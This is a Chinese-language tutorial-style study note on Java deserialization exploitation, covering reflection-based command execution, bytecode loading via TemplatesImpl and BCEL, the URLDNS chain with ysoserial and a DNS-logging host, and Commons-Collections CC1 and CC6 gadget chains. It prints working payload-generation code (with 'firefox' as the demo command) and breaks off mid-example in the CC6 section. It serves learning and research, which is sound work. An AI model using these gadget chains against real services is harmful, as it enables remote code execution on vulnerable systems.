本文主要记录java反序列化的内容(方便需要的时候回忆),之前因各种原因一直拖着,最近终于补上了这方面的技能树。

另外,后面好几部分都在一定程度上参考了该项目中的内容,先表示感谢。

基本环境配置

这里的java环境比较多,java各个版本可以从这个网站下载,也可以使用版本管理器。然后请下载并本地编译ysoserial。这些比较简单,不废话。

因为有些java环境里面缺少源代码,想查看的时候是.class文件反编译出来的结果,或者想小小改动一下。所以本文文末给了一个方便的从java源码编译得到java环境的方案,即利用docker编译了open-1.7-147版本open-8u66-b36版本

对于jdk8u的版本,你也可以用这个利用docker进行编译的项目。你当然也可以自行编译,这篇文章描述了相关的问题(搞起来还是很烦的)。另外以下要用到的不同版本的common-collections的包可去该网站下载。

弄好之后我们在ideaj的项目里面自己配置一下,记住里面的SourcePath要填写jdk/src/share/classes(对于某些压缩包而言,其他可能需要自行调整)。

前置的各种基础

先简单介绍下相关的技术基础,也方便后面内容看不懂了再回头理解。

简单反射RCE

利用Runtime.getRuntime().exec()完成反射的主要步骤有四:

  • 获取Runtime类,比如Class<?> cls = Class.forName("java.lang.Runtime");
  • 获取Runtime类的exec方法,比如Method command = cls.getMethod("exec", new Class[]{String.class});
  • 通过getRuntime方法获取当前Runtime运行时对象的引用(因为一般不能实例化一个Runtime对象,应用程序也不能创建自己的Runtime类实例),比如Object obj = Runtime.getRuntime();
  • invoke调用exec方法,执行任意命令,比如Object inv = command.invoke(obj, new Object[]{"calc.exe"});
1
2
3
4
5
6
7
8
9
10
import java.lang.reflect.Method;

public class TryReflection {
public static void main(String[] args) throws Exception {
Class<?> cls = Class.forName("java.lang.Runtime");
Method command = cls.getMethod("exec", new Class[]{String.class});
Object obj = Runtime.getRuntime();
Object inv = command.invoke(obj, new Object[]{"firefox"});
}
}

反序列化基础

Java反序列化是指把字节序列恢复为Java对象的过程。一般都会进入到相应的readObject函数中,而该函数很可能被重写。

这里对该文章中使用到的例子进行了一定修改,现在的目标是生成一个ser文件让下面的这个程序执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.*;

public class TryUnserial implements Serializable{
public String name, cmd;
public int age;
public TryUnserial(String name, int age){
this.name = name;
this.age = age;
}
private void readObject(ObjectInputStream os) throws IOException, ClassNotFoundException{
os.defaultReadObject();
if (cmd != null) Runtime.getRuntime().exec(cmd);
}
public static void main(String[] args) throws IOException, ClassNotFoundException{
/* TryUnserial obj = new TryUnserial("diggid", 100);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(obj);
oos.flush();
oos.close();*/

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
TryUnserial obj2 = (TryUnserial) ois.readObject();
ois.close();
System.out.println(obj2.name);
}
}

我们可以看到readObject函数被重写了,而且里面的内容非常危险。当然我们在现实中不太可能遇到这么顺利的情况,因此才有所谓的反序列化链。

很显然,被注释掉的内容的功能是生成ser文件。可以看到,想要利用它很简单,只需要稍加改动——在生成文件之前让里面的obj.cmd = "firefox"即可。

字节码基础

java的字节码(也就是bytecode)通常被存储在.class文件中。这篇文章提到,储存字节码的文件可交由运行于不同平台上的JVM虚拟机去读取执行,实现一次编写,到处运行的目的。

生成字节码

这里就不得不提到javassist这个包,利用这个包我们就能够简单地编写生成字节码文件的代码。比如我们想得到如下这个文件的字节码:

1
2
3
4
5
6
7
package com.test;

public class Hello {
public void SayHello() {
System.out.println("hello");
}
}

这篇文章提到的,我们可使用如下程序将期望的类Hello转为字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.test;

import javassist.*;
import java.io.IOException;
import java.util.Arrays;

public class Testssit {
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault(); // 获取类的搜索路径
CtClass ctClass = pool.get(Hello.class.getName()); // 从搜索路径中获取对应类的CtClass对象,如果没有,则会自动加入
String cmd = "Runtime.getRuntime().exec(\"firefox\");"; // 定义要插入的代码
ctClass.makeClassInitializer().insertBefore(cmd); // makeClassInitializer() -> 新增静态代码块。insertBefore在static中靠前位置插入
ctClass.setName("Hello"); // 设置类名

// 按文件方式输出,写入到对应目录下
ctClass.writeFile("testclass");

// 按数组方式输出
byte[] bytes = ctClass.toBytecode();
String s = Arrays.toString(bytes);
System.out.println(s);

ctClass.detach();
}
}

加载字节码 - 基本

实现加载的手段相对较多,以下几个部分的内容是根据该文章的内容简单描述下的结果。

不管是加载远程.class文件还是本地的.class或.jar文件,java都会经历这三个方法的调用:ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass

  • ClassLoader#loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在没有找到的情况下执行ClassLoader#findClass
  • ClassLoader#findClass的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或者远程http服务器上读取字节码,然后进入ClassLoader#defineClass
  • ClassLoader#defineClass的作用是处理前面传入的字节码,将其处理成真正的java类。

这里面比较重要的就是ClassLoader#defineClass,毕竟是直接相关的函数,可以通过如下代码直接使用defineClass加载字节码并RCE弹窗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.test;

import java.io.UnsupportedEncodingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Testload {
public static void main(String[] args) throws UnsupportedEncodingException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] byteArray = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 32, 10, 0, 3, 0, 14, 7, 0, 30, 7, 0, 16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 16, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 59, 1, 0, 8, 83, 97, 121, 72, 101, 108, 108, 111, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 72, 101, 108, 108, 111, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 14, 99, 111, 109, 47, 116, 101, 115, 116, 47, 72, 101, 108, 108, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 7, 0, 18, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 12, 0, 20, 0, 21, 10, 0, 19, 0, 22, 1, 0, 7, 102, 105, 114, 101, 102, 111, 120, 8, 0, 24, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 12, 0, 26, 0, 27, 10, 0, 19, 0, 28, 1, 0, 5, 72, 101, 108, 108, 111, 1, 0, 7, 76, 72, 101, 108, 108, 111, 59, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 3, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 31, 0, 0, 0, 1, 0, 11, 0, 5, 0, 1, 0, 6, 0, 0, 0, 43, 0, 0, 0, 1, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 1, 0, 9, 0, 31, 0, 0, 0, 8, 0, 17, 0, 5, 0, 1, 0, 6, 0, 0, 0, 22, 0, 2, 0, 0, 0, 0, 0, 10, -72, 0, 23, 18, 25, -74, 0, 29, 87, -79, 0, 0, 0, 0, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13};
Class evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Hello", byteArray, 0, byteArray.length);
evil.newInstance();
}
}

因为这个ClassLoader#defineClass方法的作用域不开放,所以我们只能通过反射的方式来调用它。

加载字节码 - TemplatesImpl

因为ClassLoader#defineClass一般不会被大部分上层开发者用到,但其衍生出来的TemplatesImpl链是比较常见的攻击链。

利用到的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl里面找到TransletClassLoader这个类。 以jdk8u71-b15为例,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static final class TransletClassLoader extends ClassLoader {
private final Map<String, Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
this._loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent, Map<String, Class> mapEF) {
super(parent);
this._loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
if (this._loadedExternalExtensionFunctions != null) {
ret = (Class)this._loadedExternalExtensionFunctions.get(name);
}

if (ret == null) {
ret = super.loadClass(name);
}

return ret;
}

Class defineClass(byte[] b) {
return this.defineClass((String)null, b, 0, b.length);
}
}

可以发现它重写了defineClass方法,而且没有显式声明其作用域,说明其作用域为default,也就可以被类外部调用。

我们接着详细追踪一下TransletClassLoader#defineClass()是如何被调用的,发现可以是这样的一条链子:TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass(),当然也有别的但不多说了。

更棒的是,TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()这两个函数可以被外部调用。经过努力可以写出下面这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Testtemplatesimpl {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] byteArray = new byte[] {.........};
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl, new byte[][]{byteArray});

Field _class = templatesImpl.getClass().getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templatesImpl, null);

Field _name = templatesImpl.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl, "not null");

Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl, new TransformerFactoryImpl());

templatesImpl.newTransformer();
}
}

这里需要注意两点:

  • 通过调试可知_tfactory这个属性必须被设置,因为它在路径上被调用了,而且不能为空。
  • 读入的字节码必须出自AbstractTranslet这个类,毕竟也只有这个类。像自己刚刚定义的Hello类肯定是找不到的,因此需要修改。

于是修改刚刚的Hello类如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Hello extends AbstractTranslet {
public void SayHello() {}

@Override
public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {}

@Override
public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {}
}

运行之前用于生成字节码的程序,然后再用输出的字节码进行测试,你会发现成功了。

加载字节码 - BCEL Classloader

BCEL主要是用于支持java XML相关的内容,但如该文章所说,因为一些原因,它在jdk8u251的更新中被移除了。

我们可以通过BCEL提供的两个类RepositoryUtility来利用: Repository用于将一个Java Class转换成原生字节码(javac命令也可以);Utility用于将原生的字节码转换成BCEL格式的字节码。细节就不多说了,可以根据这篇文章来进行实验:

首先修改之前的Hello类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.test;

import java.io.IOException;

public class Hello {
static{
try {
Runtime.getRuntime().exec("firefox");
} catch (IOException e) {
e.printStackTrace();
}
}
}

可以直接将生成BCEL和加载执行BCEL的代码写在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.test;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BCELdemo {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass cls = Repository.lookupClass(Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);

// BCEL ClassLoader用于加载并执行这串特殊的“字节码”,只需要在其前面加上 $$BCEL$$
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

DNSLOG

这条链应该是入门最合适的,顺便也说一说ysoserial该如何使用。首先搞一个研究用的脆弱环境(这条链子没太多依赖,本人使用的java环境为8.0.302)。

1
2
3
4
5
6
7
8
9
import java.io.*;

public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("out.bin");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}

接着选个DNSLOG的平台,根据它给出的子域名和ysoserial俩生成out.bin文件,用命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://acdb1fe7.dnslog.rest > out.bin生成payload。测试一下,一切OK。接着我们来看链子:

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

干脆先调试下,发现HashMap.readObject这个重写的方法比较复杂,但不难发现相关的DNSLOG指定的URL传入至HashMap.putVal里面。根据ysoserial提供的思路继续步入,比较容易地便能够找到URLStreamHandler.java文件中的hashCode函数,里面有个InetAddress addr = getHostAddress(u);就是在这里程序会去访问那个给出的URL。

如果你继续仔细找下去的话,你会发现InetAddress.getByName(host)等调用,其中你可能会发现getAddressesFromNameService调用,也就是会触发DNS查询。

好,现在我们知道链条大概的样子了。可以照着这个链子练习一下,编写出如下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Exp {
/* HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()*/

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
String url = "http://acdb1fe7.dnslog.rest";
URL evilUrl = new URL(url);
HashMap<URL, String> hashMap = new HashMap<URL, String>();
hashMap.put(evilUrl, url);

// 顺序不可调换,将hashMap中的键值进行一定的修改,使键值hashCode为 -1
Field hashcode = evilUrl.getClass().getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.setInt(evilUrl, -1);

FileOutputStream fis = new FileOutputStream("out.bin");
ObjectOutputStream bit = new ObjectOutputStream(fis);
bit.writeObject(hashMap);
bit.flush();
bit.close();
}
}

以上这样基本就可以进行利用了。ysoserial里面还进行了一定的优化,但不是重点,有需要请自行研究。

CC1

CC1这个利用其实不难,这篇文章个人觉得很好。这里使用commons-collections 3.1作为例子,请下载好源代码,本人使用的java环境是自行编译的open-1.7-147common-collections版本为3.1。

首先来看一看ysoserial里面对它的形容是这样的(我这个更详细些,话说为什么ysoserial的链子就不能统一下格式啊喂):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java.io.ObjectInputStream.readObject()
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
java.util.Map(java.lang.reflect.Proxy).entrySet()
sun.reflect.annotation.AnnotationInvocationHandler.invoke()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.ConstantTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Class.getMethod()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.getRuntime()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

LazyMap.get及其后面部分的链子

看起来比较复杂,我们先来看LazyMap.get()及其后面部分的内容。这部分内容很显然就是利用Runtime.getRuntime().exec()完成反射的典型场景。

在掌握基本知识的基础上,然后我们开始寻找源代码中的相关位置,也就是填入这些payload的位置。先找到LazyMap.get的api文档,也可以直接采用这篇文章的例子

1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) throws Exception {
Transformer transformer = new ConstantTransformer(1);
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazyMap.get("NOW");
System.out.println(obj);
}
}

搜索lazyMap.get可以找到LazyMap.java里面的get函数。可以看到里面调用factory.transform,继续找就能够看到InvokerTransformer.java里面的transform函数:

可以看到是非常漂亮的反射代码,结合之前例子的代码和反射RCE的思路,可以像下面这样跑通LazyMap.get()及其后面部分的链子。

1
2
3
4
5
6
7
8
public class Test {
public static void main(String[] args) throws Exception {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"firefox"});
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazyMap.get(Runtime.getRuntime());
System.out.println(obj);
}
}

虽然跑通了,但是你会发现ChainedTransformer.transform其实并没有出现在里面。寻找一下,很快能发现这些代码:

1
2
3
4
5
6
public Object transform(Object object) {     
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

也可以直接上网搜下其使用,它的意思是能够将传入参数里面的个部分transform之后拼起来,链式调用。于是可以继续进行一些小修改:

1
2
3
4
5
6
7
8
9
10
11
12
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] chainElements = new Transformer[] {
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"firefox"})
};
Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazyMap.get(Runtime.getRuntime());
System.out.println(obj);

}
}

咋一看没什么用处。但是查看ysoserial里面的payload,可以进一步将lazyMap.get里面的参数换成字符串,就像下面这样。

1
2
3
4
5
6
7
8
9
10
11
12
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"firefox"})
};
Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazyMap.get("xxx");
System.out.println(obj);
}
}

LazyMap.get前面部分的链子

我们很清楚地知道上面的代码过于理想,现在需要找到可以触发LazyMap.get()且能够控制一定参数的东西。可以看到ysoserial里面找到的是AnnotationInvocationHandler.invoke,那么我们可以先调出源代码看一看。

找到sun/reflect/annotation/AnnotationInvocationHandler.java文件中的Object result = memberValues.get(member);,我们知道只需要令memberValuesmember这两个变量为合适的值即可,这不是问题,因为member本就是字符串而memberValues只要指定为lazyMap就好了。但是如何调用却成为了一个问题。


这里插播一则关于java动态代理的知识点,当然是因为接下来要用到。

这篇文章说:代理类为被代理类预处理消息、过滤消息,在此之后将消息转发给被代理类,之后还能进行消息的后置处理。代理类和被代理类通常会存在关联关系(即上面提到的持有的被带离对象的引用),代理类本身不实现服务,而是通过调用被代理类中的方法来提供服务。动态代理无非是利用反射机制在运行时创建代理类。这里也有一个离谱但还算清楚的视频可供参考学习。


既然我们的目标是调用LazyMap类的get方法,那么我们可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法(这段话引自该文章)。具体代码可以如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Triggercc1 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"firefox"})
};
Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 返回类或接口的Class对象
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 返回其构造方法
constructor.setAccessible(true);

// 使用newInstance()方法创建对象 https://blog.csdn.net/luckykapok918/article/details/50186797
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
proxyMap.size();
}
}

其中需要注意的有以下几点:

  • AnnotationInvocationHandler是在JDK内部的类,不能直接用new实例化,因此需要先利用反射获取其构造方法,然后设置为accessible再进行实例化。
  • AnnotationInvocationHandler类中的invoke方法会在相关的类调用任意方法时被触发,我给的例子用了size(),你当然也可以使用别的,比如entrySet()
  • Retention可以替换为其他的java.lang.annotation里面的类。

很好,上面的东西说明我们下一步的主要目的就是在反序列化的时候调用proxyMap的相关函数。根据ysoserial给出的思路,它看中了AnnotationInvocationHandler里面的readObject函数,因为这里面用到了entrySet()而且前面的变量可以轻松控制!只要在刚刚的东西上添加一句:handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);后再对其进行反序列化即可。

PS:在这部分内容的调试当中你也许会惊讶地发现经常出现RCE的弹窗,这说明你有些内容是正确的,因为Debugger Evaluate的原因导致那段写对了的链子常常被触发。

利用反射解决Runtime不可序列化的问题

在添加上序列化和反序列化的代码后,运行上述程序,会遇到这样的报错Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

这篇文章给出了理由:并非所有的java对象都能支持序列化,只有那些实现了java.io.Serializable接口的对象才可以,Runtime这个对象就不支持。但是我们可以通过反射来获取到这个Runtime,利用反射的只是就能够解决了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class Triggercc1 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};

Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 返回类或接口的Class对象
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 返回其构造方法
constructor.setAccessible(true);

// 使用newInstance()方法创建对象 https://blog.csdn.net/luckykapok918/article/details/50186797
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(handler);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
ois.close();
}
}

需要注意的几点:

  • 上面的代码再次利用了InvokerTransformer.java里面的transform函数。
  • Runtime.getRuntime()是一个java.lang.Runtime对象;而目前使用的是Runtime.Class,是个java.lang.Class对象,它能够被序列化。

在我的环境里面已经能跑通了(利用环境要求小于8u71,我的测试环境一个是7-b147,另外两个是8u20-b15和8u66-b36)。

但这个代码无法在8u71-b15完成利用,可通过调试究其原因:memberValues.get(member)原本希望是达成lazyMap.get("xxx")这样的效果,但是其中的memberValues却是LinkedHashMap类型的变量。 仔细观察就能发现在AnnotationInvocationHandler类的readObject方法里面多出UnsafeAccessor.setMemberValues(this, mv);这么一行代码,而且Map<String, Object> mv = new LinkedHashMap<>();。显然,这样根本无法触发invoke完成剩下的链子,虽然剩下的链子都是可用的。

对于CC1而言,可能还有一些细枝末节的地方或者其他的方法没有提及,这里不赘述了,感兴趣请自行研究。

CC6

在CC1部分我们提到CC1链无法在8u71-b15完成利用,但我们也有其他办法,即CC6。该部分实验环境为8u71-b15,common-collections版本为3.1。以下是CC6链子的思路。

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

可以看到,这条链子中的LazyMap.get及其后面部分的链子和CC1是完全一致的,所以它就是找了另外一种调用LazyMap.get的方法。建议试着自己编写,结合本文的前两部分DNSLOG链和CC1链。我反正编写出了下面这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Triggercc6 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};

Transformer transformer = new ChainedTransformer( chainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
//Object obj = lazyMap.get("dd");

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "anywords");
//tiedMapEntry.getValue();
//tiedMapEntry.hashCode();

HashMap<TiedMapEntry, String> hashMap = new HashMap<TiedMapEntry, String>();
hashMap.put(tiedMapEntry, "fff");
}
}

以上的注释其实如同脚手架,一旦调试中存在着问题的话,这些注释的内容可以有效地帮助我们锁定问题的可能范围。虽然能够RCE,但是可以看到这个代码尚未写全——我们清楚地知道下一步的目标是调用hashmap.put,也就通过java.util.HashSet.readObject()里面的逻辑来实现。

可代码写到这里我卡住了,剩下部分的代码一直写不出来。先干点别的吧。

避开调试中触发的命令执行

调试的时候总是蹦出RCE弹窗,该文章里面提到一种手法能避开调试中触发的命令执行。这是很不错的一种手段,实现起来也比较简单:

  • 我们知道在调试过程中不断被触发的payload位置在chainElementstransformer这些变量里,可以在一开始的时候将其设置为空。
  • 在最后输出反序列化payload的时候,我们可以将真正可以用来反射的代码填进去,ChainedTransformer这个类也具备这样的条件。

一种较为简单的触发方式(上)

尽管解决了一部分问题,但按照ysoserial提供的思路还是有点难度对我而言。不过如果先不走ysoserial里面给出的思路的话还是有其他相对简单的办法的。其思路如下:

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
org.apache.commons.collections.map.LazyMap.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

根据上述思路你修改之后可能还是会发现存在着一定的问题,只要一些些调试和思考就能够解决了,该方法的实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class Triggercc6 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] chainElements = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"firefox"}),
};

// 先不填payload,避免在调试过程中触发RCE
Transformer[] fakeChainElements = new Transformer[]{};
Transformer transformer = new ChainedTransformer( fakeChainElements );
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");

